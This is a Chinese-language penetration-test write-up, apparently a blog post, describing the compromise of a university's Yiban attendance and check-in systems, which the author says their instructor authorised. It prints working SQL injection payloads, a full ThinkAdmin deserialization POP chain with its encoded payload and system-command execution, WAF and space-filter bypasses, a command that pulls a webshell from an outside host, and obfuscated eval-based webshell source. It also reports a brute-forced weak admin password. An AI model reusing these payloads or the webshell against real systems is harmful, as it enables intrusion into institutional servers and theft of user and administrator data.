0x01 起因
由于疫情問題,學校的易班APP新增了打卡系統,每天需要進行晨檢,午檢打卡,忘記的話就是上千字檢討
本人對于這種“形式主義”深感不滿,于是準備操作一番
非常幸運,校級“易班”系統的負責人就是我們團隊的指導老師,
在取得他的授權后,便開始了對于易班系統的曲折而又精彩的滲透
在此鳴謝M78sec的所有成員
0x02踩點
基本的信息搜集咱們就不多說了
根據老師口述,該域名下部署有多項功能系統(包括負載均衡,直播,表白墻,打卡簽到系統,心理測試系統等等),因此不同系統使用了不同的多臺服務器
看樣不能一勞永逸,需要各個系統、服務器逐個擊破,然后摸入核心系統中
首先打開“易班”系統的首頁是這個樣子

不難看出,開發者使用了TP框架,在簡單地測試了各種TP 注入,RCE的payload后均以失敗告終,看樣安全意識還不算太差
域名下的首頁完全就是一個報錯頁面,沒有任何功能點和信息
俗話說得好,信息搜集的好壞直接決定了我們滲透的成敗,因此我們絕對不能疏忽大意。
我們先來fuzz一級目錄

成果還不錯,不少目錄和功能點,隨后我們繼續fuzz各個一級目錄的二級目錄,不斷摸索該域名下部署的功能點
具體的就不上圖了,因為一級目錄太多了。
了解清楚功能點后,直接脫褲子開干
0x03 心理健康系統的滲透(IIS短文件名-->老登錄口-->爆破-->新登錄口-->上傳)
通過一級目錄爆破,爆破出
http://xxx.xxx.edu.cn/psy這個路徑
發現其中部署了心理教育健康系統,中間件為IIS
但是心理健康系統登錄口有驗證碼機制,而且驗證碼不容易識別

立馬想到iis短文件名特性
隨后通過iis短文件名目錄掃描工具(https://github.com/lijiejie/IIS_shortname_Scanner)進行掃描
!(https://i.loli.net/2020/11/13/eBsFcAxPQ84OJi1.jpg)
獲取到老的其他系統登錄口
http://xxx.xxx.edu.cn/psy/Login2.aspx

如圖,沒有任何驗證碼機制
直接Burp Cluster bomb式爆破
成功得到其他系統的弱口令admin,Aa123456
但是老系統其他頁面已經刪除,無法正常登入后臺

八嘎呀路,不是良民的干活!
但推測新老系統用的同一個數據庫
訪問新系統
http://xxx.xxx.edu.cn/psy/Login.aspx
使用密碼admin,Aa123456成功登陸

后臺翻找上傳點
上傳點在
http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?ScaleListID=1
量表平臺這邊的添加題目存在任意文件上傳(話說這個上傳點...可以說是相當隱蔽了..找了好久才找到)

上傳aspx會莫名其妙跳轉,asp不解析,直接傳了個asmx的馬
通過awvs 10的調試模塊執行命令

權限為net service
使用cobaltstrike直接powershell一句話上權限

結果補丁貌似比較死。。
各種本地提權Exp上了一遍,沒什么逼用
Com組件,土豆上了也提不下來,先這樣吧,提權要是提下來了再補充
心理健康系統宣布初步拿下
0x04 直播系統接口注入
在進入直播系統后,發現沒什么可以利用的點,大概開發還沒有完成

但是在BURP中,我發現了一個ajax接口的請求,下體一硬

http請求如下
POST /index.php/Live/index/seat_ajax.html HTTP/1.1 Host: xxx.xxx.edu.cn Content-Length: 24 Accept: */* Origin: http://xxx.xxx.edu.cn X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-CN; 1501_M02 Build/LMY47D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.0.818 U3/0.8.0 Mobile Safari/534.30 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://xxx.xxx.edu.cn/index.php/Live/index/seat?place_id=10&active_id=20 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: ASP.NET_SessionId=s0clwrginz0rw3x0smtwtsgg; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a; PHPSESSID=7985bf0a5f38e5922a651ac1f4ef9b1a Connection: close place_id=10&active_id=20

進行fuzz找到SQLI Payload

兩個id參數都存在union注入

構造payload
) UNION ALL SELECT NULL,NULL,NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Neqy
如圖成功獲得current_user信息
["_root@10.40.0.22](mailto:)
構造payload
place_id=10) UNION ALL SELECT NULL,NULL,NULL,NULL,group_concat(SCHEMA_NAME),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.schemata-- Neqy&active_id=20&active_id=20

其他的表、列、數據、在此就不演示了,寫語句就ok,都非常簡單
SQLMAP自動化演示如圖

后面發現涉及了很多其他系統的庫,但并沒有摸到我最想要的核心系統的庫,因此滲透還得繼續
0X05 一個平淡無奇的B64上傳
FUZZ功能點后,找到了一個未授權可以上傳圖片的地方
http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html


發現data:image/jpeg時上傳jpeg圖片
直接改data改為image/php,然后將上傳內容base64編碼后提交

Getshell成功,SYSTEM權限,提權都省了
!(https://i.loli.net/2020/11/13/cRyQC3XMA2duFG8.jpg)
0X06 核心系統精彩滲透(Nday反序列化+命令執行繞過+條件競爭Getshell)
尋尋覓覓,冷冷清清,凄凄慘慘凄凄,終于找到了我們的控制“易班”核心系統
http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree

勝利就在眼前...不睡覺也要把他給搞下來
各種fuzz,各種操作一塊安排上去,發現并沒有什么卵用,依舊日不進去
難道就此放棄??不可能,這不是我們的風格
我在仔細查看頁面JS的時候,發現了這樣一個有趣的信息

眼前一亮,媽的ThinkAdmin,正好之前有個反序列化的Nday,安排上!

http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.Update/tree
PostData:rules=a%3A2%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A11%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A13%3A%22%00%2A%00connection%22%3Bs%3A5%3A%22mysql%22%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A9%3A%22%00%2A%00hidden%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00field%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00schema%22%3Ba%3A0%3A%7B%7D%7Di%3A1%3Bi%3A123%3B%7D //執行whoami

下面為反序列化pop鏈子如下
namespace think;
use think\model\Pivot;
abstract class Model{
private $lazySave = false; # save()
private $exists = false; # updateData()
protected $connection;
protected $name; # __toString() Conversion.php =>Pivot
private $withAttr = []; # assert
protected $hidden = [];
private $data = [];
protected $withEvent = false;
private $force = false;
protected $field = [];
protected $schema = [];
function __construct(){
$this->lazySave = true;
$this->exists = true;
$this->withEvent = false;
$this->force = true;
$this->connection = "mysql";
$this->withAttr = ["test"=>"system"];
$this->data = ["test"=>"whoami"];
$this->hidden = ["test"=>"123"];
$this->field = [];
$this->schema = [];
}
}
namespace think\model;
use think\Model;
\# Model 是一個抽象類,我們找到它的繼承類,此處選取的是 Pivot 類
class Pivot extends Model{
function __construct($obj=""){
parent::__construct();
$this->name = $obj; # $this->name放子類構造方法中賦值,直接放基類屬性中初始化不成功
}
}
$a=new Pivot();
echo urlencode(serialize([new Pivot($a),123]));?>

權限為system,哈哈哈哈哈哈,天助我也
但使用echo命令寫shell過程中遇到了很多問題
①命令不能帶空格,而且<>直接在一條命令中出現寫shell,否則會報錯
②空格會被轉換為+ 而+ 他后端又識別不了

經過堅持不懈的手動測試,發現/\可以繞過空格的限制
然后再使用&&來拼接命令,實現對于寫入<>檢測的繞過
但是目標機有waf,普通的webshell傳上去過幾秒就會被殺
何妨,直接通過條件競爭遠程下載免殺的webshell
構造命令通過條件競爭下載免殺shell
echo/^<^?php>>s1.php&&echo/file_put_contents('s2.php',file_get_contents('http://49.x.x.x:8080/shell.txt'));?^>>>s2.php
免殺shell內容如下
function test($php_c0d3){
$password='skr';//EnvPwd
$cr=preg_filter('/\s+/','','c h r');
$bs64=preg_filter('/\s+/','','bas e64 _de cod e');
$gzi=$cr(103).$cr(122).$cr(105).$cr(110);
$gzi.=$cr(102).$cr(108).$cr(97).$cr(116).$cr(101);
$c=$bs64($php_c0d3);
$c=$gzi($c);
@eval($c);
}
$php_c0d3='S0lNy8xL1VAvzkjNySlILC5W11EBUeX'.
'5RSma1rxcKgWZeWm2KvFBroGhrsEh0UogvlIsUC'.
'YzTQMiaatUmVqspFnNy1WQARLI1wBprAXi1LLEH'.
'A2EXrgdsZrWAA==';
test($php_c0d3);
?>
通過反序列化pop鏈子生成Postdata
直接打過去
http://xxx.xxx.edu.cn/v4/public/s2.php
密碼Skr
直接拿下

終于拿下了這個打卡,晚點名,考勤的核心系統,adminer進入庫中解密管理員密碼
媽的,還想讓老子寫檢討???吃屎去吧

核心系統宣布拿下~圓滿完成任務
0x07 總結
本次滲透雖然沒什么太騷的操作,但都是長年累月積累起來的經驗和細心謹慎才得以拿下這么多的系統
同時非常感謝M78sec朋友們的協助
安全牛
安全牛
系統安全運維
LemonSec
系統安全運維
安全牛
E安全
看雪學苑
公安部網安局
黑白之道
黑白之道
一顆小胡椒